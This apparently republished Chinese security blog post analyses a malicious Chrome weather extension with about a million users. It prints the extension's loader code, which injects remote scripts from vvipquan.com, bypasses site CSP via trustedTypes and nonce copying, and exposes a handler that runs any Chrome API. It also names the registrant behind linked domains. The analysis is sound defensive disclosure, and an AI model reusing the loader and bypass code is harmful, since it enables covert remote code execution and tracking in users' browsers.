披露一个恶意Chrome扩展程序
2023-5-18 08:32:22 Author: blog.xlab.app(查看原文) 阅读量:242 收藏

在研究过程中意外发现一个疑似恶意程序

天气扩展

https://chrome.google.com/webstore/detail/%E5%A4%A9%E6%B0%94/fmlpbbognkocpajihchioognkmdeeldo

1评价1星,100w用户,看起来就不太对劲,作者还有一个只有1位用户的同名扩展

https://chrome.google.com/webstore/detail/%E5%A4%A9%E6%B0%94/goaebigflkhjjblmofhoggdhebgnielo

看起来就非常可疑,分析一波

content scripts

注入远程js代码

content scripts中针对中文用户注入js

1
2
3
4
5
6
7
8
9
10
11
12
...
const t = "wttianqi",
e = "https://utq.vvipquan.com/wt";
...
if (navigator.language.match("^zh")) {
let a = document.createElement("script");
(a.src = chrome.runtime.getURL("/scriptMain.bundle.js")),
(a.dataset.pname = t),
(a.dataset.assetPath = `${e}/mv3/js/`),
document.body.appendChild(a);
}
...

通过DOM加载内部js(scriptMain.js),再次通过DOM注入远程js,实现绕过Manifest V3 CSP

scriptMain中使用trustedTypes创建script,以绕过网站CSP

1
2
3
4
5
6
7
8
9
10
11
12
13
const e = "wttianqi";
let t,
c = document.querySelector(`[data-pname="${e}"]`),
r = document.createElement("script");
window.trustedTypes &&
window.trustedTypes.createPolicy &&
(t = window.trustedTypes.createPolicy(e, { createScriptURL: (e) => e }));
let n = `${c.dataset.assetPath}r.bundle.js?t=${new Date().getTime()}`;
(r.src = t ? t.createScriptURL(n) : n), (r.charset = "UTF-8");
let s = document.querySelector("script");
(s = s ? s.getAttribute("nonce") : ""),
s && r.setAttribute("nonce", s),
document.body.appendChild(r);

比较特别的是加载域名是通过dom传递的,最终得到远程链接

1
https://utq.vvipquan.com/wt/mv3/js/r.bundle.js?t=

r.bundle.js这个文件也是个加载器

1
2
3
4
5
6
7
8
9
(function () {
if (window.rMain) return;
window.rMain = true;
let script = document.createElement("script");
script.src =
"https://utq.vvipquan.com/wt/mv3/js/rMain.bundle.js" +
"?md5=03bfb3051f5ba56fce26e997d7c8c91f";
document.body.appendChild(script);
})();

rMain.bundle.js经过混淆,从行为上看是一个收集信息后加密上报,暂时没有特别明显的恶意行为

rMain.bundle.js原文件放这里了,感兴趣的师傅可以来分析分析

简单分析后可知至少上传了

  1. 当前访问的地址
  2. 一个指纹(这个后面讲)

background连接代理

content scripts中还有一段代码

1
2
3
4
5
6
7
8
9
const t = "wttianqi"
window.addEventListener("message", (e) => {
let a = e.data;
a.p == t &&
"tobg" == a.cmd &&
chrome.runtime.sendMessage(a.data, (t) => {
a.cb && window.postMessage({ cmd: "ctcb", cb: a.cb, data: t });
});
});

接受任意来源的message,经过简单判断后转发给backgroundbackground的响应再次通过postMessage发出来

简单说,这段代码就是连接网页中的jsbackground scripts,实现双向通信

background scripts

用户指纹

收集插件安装时间,利用随机数生成唯一id,存储到chrome.storage.local

这里的uid就是上面提到的上报的指纹

代码执行

background中接收消息处理中,封装了大量Chrome扩展API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
chrome.runtime.onMessage.addListener((t, r, n) => {
switch (t.cmd) {

case "get_user_config":
break;
case "config":
break;

case "set_storage":
chrome.storage.local.set(t.data, n);
break;
case "get_storage":
chrome.storage.local.get(t.data, n);
break;

case "set_res":
s[t.url] = t.data;
break;
case "get_res":
n(s[t.url]);
break;

case "l2inited":
n(h), (h = !0);
break;

case "htab":
break;

case "tab":
break;

case "chrome":
let a = t.fun.split("."),
o = chrome,
u = chrome;
a.forEach((e, t) => {
(o = o[e]), t == a.length - 2 && (u = o);
}),
o.apply(u, t.params).then(n);
break;

case "regct":
chrome.scripting.unregisterContentScripts(
{ ids: t.data.map((e) => e.id) },
() => {
chrome.runtime.lastError && (chrome.runtime.lastError = null),
chrome.scripting.registerContentScripts(t.data);
}
);
}
return !0;
});

实现了

  1. 读写chrome.storage.local存储
  2. 创建、修改、删除任意标签页和窗口
  3. 调用任意Chrome API
  4. 在任意标签页中执行代码

结合上面提到在content script中的background连接代理,可以在网页中的js调用这些功能

京东?

还有一段jdTask的代码,推测是跑一些京东羊毛任务?

1
2
3
4
5
6
7
8
status: "",
name: "jdTask",
chrome.storage.local.get("jdRules", (t) => {
e = t.jdRules || [];
}),
chrome.runtime.onMessage.addListener(
(e, t, n) => ("dojd" == e.cmd && this.check(t.tab, e.data) && r(e.data), !0)
);

在具体执行任务中,会遍历所有的标签页,但会排除360.cn网站

1
2
3
4
5
6
7
8
9
10
11
12
13
chrome.tabs.query({}, function (e) {
if (e.length > 0)
for (
var n, i = 0;
i < 3 && (n = e[i]).url;
i++
)
if (
!n.active &&
n.url.match(/^http/) &&
!n.url.match(/360\.cn/)
) {
...

还检查了MetaSr浏览器,查了下MetaSr搜狗高速浏览器

1
2
3
4
5
6
7
8
9
10
11
if (c.active) r = null;
else if (
("loading" == o.status || navigator.userAgent.match("MetaSr")) &&
o.url &&
o.url != decodeURIComponent("")
)
for (var h, l = 0; l < e.length; l++)
if ((h = e[l]).name == i.currentTask) {
h.mainTabUpate(a, o, c);
break;
}

mainTabUpate会在标签页中执行js代码和重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
chrome.scripting.executeScript({
target: { tabId: t },
func: function (e, t) {
document.title = e;
var r = document.querySelector("link[rel~='icon']");
r ||
(((r = document.createElement("link")).rel = "icon"),
document.getElementsByTagName("head")[0].appendChild(r)),
(r.href = t),
(document.body.inMainTabUse = !0);
},
args: [n.title, n.favIconUrl],
});
for (var a = 0; a < e.length; a++)
if (i.url.match(e[a].mainReg)) {
setTimeout(function () {
chrome.tabs.update(t, { url: n.url }), (n.stayTime = 0);
}, e[a].stayTime),
(n.stayTime = e[a].stayTime);
break;
}

分析

2022年11月24日jinhui.xu002在Chrome扩展商店发布,可能是用什么方法把安装量刷到了100万,为了提高排名获得更多的真实用户(也可能真的有100万?)

扩展中存在明显恶意代码,针对中文用户进行攻击,攻击链路完备,远控功能丰富

但暂时没有明显恶意行为,仅收集指纹数据,可能是在等用户量大了再收割

vvipquan.com目前在各大威胁情报平台都没有被标记恶意

通过域名备案查询 沪ICP备18040700号

备案主体是徐金卉,与商店作者拼音匹配,同时还掌握其他一些域名

子备案号 备案域名
沪ICP备18040700号-1 xuangou360.com
沪ICP备18040700号-2 yhquan365.cn
yhquan365.com
yhquan365.xyz
沪ICP备18040700号-3 yhqdashi.com
沪ICP备18040700号-4 osls666.com
沪ICP备18040700号-5 1hshop.com
沪ICP备18040700号-6 quanhu66.com
沪ICP备18040700号-7 vvipquan.com
沪ICP备18040700号-8 tbsouquan.com
沪ICP备18040700号-9 96zxue.com
沪ICP备18040700号-10 fdkm88.com

1hshop.comfdkm88.com关联一个木马分析报告

2020-09-14 https://www.freebuf.com/articles/paper/249614.html

96zxue.com关联多个浏览器劫持报告

2021-2-27 https://www.52pojie.cn/thread-1378979-1-1.html
2021-7-27 https://bbs.360.cn/thread-15991167-1-1.html
2021-7-28 https://bbs.huorong.cn/archiver/?tid-87971.html

看来是个老手了,vvipquan.com应该是他们的新动作,在微步上看Umbrella网站排名已经进入前百万,在50-70万之间,Umbrella看说是依靠DNS数据,推测这个影响范围还挺大的


文章来源: https://blog.xlab.app/p/1e632d6d/
如有侵权请联系:admin#unsafe.sh